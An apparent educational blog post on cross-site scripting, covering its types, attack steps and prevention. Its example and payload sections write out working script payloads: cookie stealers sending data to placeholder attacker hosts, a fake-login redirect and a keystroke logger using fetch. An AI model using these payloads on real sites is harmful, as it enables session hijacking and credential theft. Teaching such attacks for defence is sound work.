What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a web vulnerability that allows attackers to inject malicious scripts into trusted websites. These scripts run in the user’s browser and can steal sensitive data like login credentials, cookies, or financial information. Most attackers attempt to target websites that allow users to enter and display information, such as comment sections, text inputs, or feedback forms. If the website does not validate the information provided by a user, a hacker can inject a malicious script that impacts other users. In this blog, we will explore what XSS is, how it works, how attackers use Cross-Site Scripting, the types, and how to avoid falling victim to it.

Table of Contents:

• What is Cross-Site Scripting (XSS)?
• Impact of XSS Attacks on Cybersecurity
• What is Client-Side Code in XSS Attacks?
• How XSS Works in Web Applications
• Example of Cross-Site Scripting Attack
• How are XSS Attacks Executed by Attackers?
• Types of XSS Vulnerabilities
• What are XSS Payloads with Examples
• How to Prevent XSS Attacks Effectively
• Common Mistakes in XSS Prevention
• XSS vs CSRF – Key Differences
• Conclusion

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a web vulnerability where attackers inject malicious scripts into trusted websites. These scripts run directly in the user’s browser without their knowledge, making them appear as part of the legitimate website. The goal of such attacks is often to steal sensitive data, such as login details, cookies, or credit card numbers.

XSS commonly targets websites that accept and display user input. Examples include comment sections, forums, and search boxes. If a site does not properly validate, sanitize, or escape user input, an attacker can insert harmful scripts that affect every user who visits that page.

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Impact of XSS Attacks on Cybersecurity

XSS attacks can have consequences for both citizens and businesses. Below are some of the most common consequences of this attack:

• Theft of User Information: It can lead to theft of key information, including passwords, session tokens, and credit card numbers, which represents a significant risk to all users.
• Delivery of Malware: Attackers can deliver a harmful file or virus to a user through Cross-Site Scripting.
• Account Takeover: By stealing cookies, attackers can log in as someone else.
• Damage to Brand Reputation: If the user feels the website is unsafe, they will discontinue using the website, which significantly impacts the business.
• Financial Loss: Companies may face legal issues, lose customers, and incur costs to remediate the attack.

What is Client-Side Code in XSS Attacks?

Client-side code is code that runs in a user’s web browser. Client-side code includes HTML, JavaScript, and CSS. In such attacks, the malicious script is inserted into the client-side code. When the user visits the website, the user’s web browser cannot determine if the script contains a virus and simply executes the code. This is what makes Cross-Site Scripting so dangerous because it occurs in the user’s web browser, and not on the server. Hackers take advantage of this behavior by inserting their script, generally a malicious script, that performs harmful actions such as capturing data or redirecting users to false websites.

How XSS Works in Web Applications

Let’s explore the working of Cross-Site Scripting in a web application:

Step 1: User Entry

A web application has a place for user input. This area could be a comment box, a search box, or a feedback form.

Step 2: Inputting Malicious Code

A hacker types harmful JavaScript code into one of these user input areas and presses submit. The code may have been designed to copy cookies or to show a fake login page. 

Step 3: Not Sanitizing Input

The website doesn’t check or clean the code that users enter. It just saves it and shows it to others as content 

Step 4: Running the Code

When another user navigates to the web page, their computer loads the web page and runs the JavaScript code as if it were a normal active part of the website. 

Step 5: Data Theft or Unwanted Actions

The code is now able to perform unexpected and unwanted actions. For example, it can send the user’s cookies to the attacker’s server, or redirect the user to a fake login page to record passwords.

Example of Cross-Site Scripting Attack

Let us consider a simple example. Imagine a news site that lets users comment on articles. One day, a hacker posted the following comment:

<script>document.location='http://fake-website.com/steal?cookie=' + document.cookie</script>

Explanation: If that post is just displayed on the site without verification, when a user reads the article, the script too will be loaded, and the script will send the user’s cookies to the hacker’s server.  Using those cookies, the hacker would be able to log into the user’s account without any of their login credentials. This is a dangerous attack since the user is viewing everything as expected.

Note: Do not execute the following code in any online compiler, as it contains malicious scripts that can steal sensitive information or compromise security.

How are XSS Attacks Executed by Attackers?

1. Stealing Session Cookies: Scripts are used by attackers to steal cookies saved in the user’s browser. The cookies will allow the hacker to log in to the victim without the need for the victim’s password.

2. Showing Fake Login Forms: Hackers can show users fake forms and trick them into entering their username and password.

3. Redirecting Users to Dangerous Websites: If an attacker can gain access to a victim’s session token, they can send victims to another website, infected with malware or used to fetch information.

4. Distributing Malicious Content: Hackers can use Cross-Site Scripting to show unwanted ads, enable popups/alerts, and even download a virus to the user’s device.

5. Taking Over User Accounts: With access to cookies or login tokens, the hacker can utilize the account as if it were their own.

Types of XSS Vulnerabilities

There are three main types of XSS attacks:

1. Reflected XSS

Reflected XSS occurs when the user’s input is sent to the server, and it is immediately sent back to the web page without any checks being made.

Example: Clicking on a malicious link that displays a fake message on the website.

Main points about Reflected XSS:

• Occurs through links.
• Not stored on the website.
• Only works if the user clicks the attacker’s link.

2. Stored XSS or Persistent XSS

Stored XSS, or Persistent XSS, is more harmful than reflected XSS. In this case, the malicious script is stored permanently within the website’s database. It can be stored in blog comments, user profiles, or forum posts. The user’s browser interprets the code each time they visit the page. Even though the user didn’t do anything, there is a chance that they can get affected.

Example: Posting a comment on a forum that triggers an alert when others view it.

Main points about Stored XSS:

• The script is stored in the website’s database.
• It executes each time the page is loaded.
• Many users can be impacted over time.

3. DOM-Based XSS

DOM-Based XSS occurs inside the browser, rather than on the server. In a DOM-based attack, a script will modify page content using the Document Object Model (DOM) provided by the browser. The code of the attacker doesn’t reach the server. It runs in the browser of the user and takes advantage of the website’s scripts.

Example: Modifying a URL parameter that changes the page content unexpectedly.

Main points about DOM-Based XSS:

• Occurs entirely inside a browser.
• The server never sees the malicious script.
• It depends on how the target website utilizes JavaScript.

What are XSS Payloads with Examples

An XSS payload is the specific malicious script that an attacker uses to execute the attack. XSS payloads are small pieces of code, usually JavaScript code, that accomplish an undesirable action in the victim’s browser.  Here are a few common types of XSS payloads:

1. Displaying a simple pop-up

<script>alert('XSS Attack!');</script>

Explanation: This is the test payload that is used to show a message box.

2. Stealing cookies

<script>document.location='http://evil-site.com/steal?cookie=' + document.cookie</script>

Explanation: This code is used to send user cookies to an external site.

 3. Redirecting the user

<script>window.location='http://fake-login.com';</script>

Explanation: This code is used to redirect the user to a fake login page.

4. Logging keystrokes

<script>document.onkeypress=function(e){fetch('http://hacker.com/log?key='+e.key);}</script>

Explanation: This code is used to record whatever the user is typing and send it to the attacker.

How to Prevent XSS Attacks Effectively

Avoiding XSS requires secure coding practices and careful handling of user input. Here are the best ways to avoid it:

1.  Always validate and sanitize user input: You should always validate that the user input you will use does not use dangerous characters.

2. Encode output: Whenever you display user input on a page, convert special characters like <, >, and ” into a safe format such as <, >, and " so that the browser shows them as text instead of running any code.

3. Use Content Security Policy (CSP): A CSP allows you to control what type of scripts can run on your site. This adds an extra layer of protection against Cross-Site Scripting.

4. Avoid Inline JavaScript: Avoid writing scripts in HTML. Rather, use a separate JavaScript file instead. 

5. Use security libraries and frameworks: Utilize trusted frameworks like React or Angular that have built-in measures to deal with many of the issues with XSS. 

Common Mistakes in XSS Prevention

Even when trying to avoid XSS, some developers still make some of these mistakes:

1. Not Validating all Inputs: Some developers check the form fields and forget to check input from the URL or headers.

2. Trusting User Input: You should never assume user input is safe. Always clean it and check it before using it.

3. Not Properly Encoding Output: Showing the input data on a web page and not encoding it allows any harmful scripts to run.

4. Using Old Libraries: Old libraries and plugins may contain known XSS bugs or exploits. Always keep your code up to date.

5. Not Utilizing Browser Security Features: Some developers disable browser security features like CSP for testing and forget to re-enable them.

XSS vs CSRF – Key Differences

Conclusion

Cross-Site Scripting (XSS) remains a critical web vulnerability that can affect sensitive data, user accounts, and overall application security. Developers need to understand the different types of XSS, how attackers exploit them, and the effective prevention techniques. Knowing the differences between XSS and CSRF further enhances the security of web applications. Following safe coding practices and using the latest security tools can prevent most XSS attacks, making applications safer and more reliable for users.

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What is Cross-Site Scripting (XSS)? – FAQs